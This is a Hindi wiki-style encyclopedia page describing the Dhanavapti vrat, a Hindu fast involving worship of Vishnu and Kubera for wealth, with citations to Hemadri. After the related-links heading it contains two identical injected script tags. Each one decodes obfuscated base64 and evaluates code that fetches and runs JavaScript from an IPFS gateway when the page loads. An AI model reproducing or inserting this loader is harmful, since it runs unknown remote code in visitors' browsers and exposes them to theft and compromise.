धनावाप्ति व्रत

भारत डिस्कवरी प्रस्तुति
Revision as of 10:13, 7 September 2010 by रेणु (talk | contribs) ('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • श्रावण पूर्णिमा के उपरान्त प्रथम तिथि पर आरम्भ होता है।
  • यह व्रत एक मास तक चलता है।
  • नील कमलों, घी, नैवेद्य के साथ विष्णु एवं संकर्षण की पूजा की जाती है।
  • भाद्रपद पूर्णिमा के पूर्व तीन दिनों तक उपवास किया जाता है।
  • इस व्रत के अन्त में गौ दान भी किया जाता है।[1]
  • एक वर्ष तक वैश्रवण (कुबेर) की पूजा करते है।
  • इस व्रत से बहुत धन की प्राप्ति होती है।[2]
  • अन्य मत के अनुसारचैत्र शुक्ल पक्ष प्रथमा से आरम्भ होता है।
  • विष्णु, पृथ्वी, आकाश एवं ब्रह्मा की मूर्तियों की क्रम से प्रथमा से चतुर्थी तक एक वर्ष तक पूजा की जाती है।
  • इस व्रत से सम्पत्ति, सौन्दर्य एवं सुख की प्राप्ति होती है।[3]
  • यह चतुमूर्तिव्रत है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 2, 759)
  2. हेमाद्रि (व्रतखण्ड 155, विष्णुधर्मोत्तरपुराण से उद्धरण)
  3. हेमाद्रि (व्रत0 2, 501-502)

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः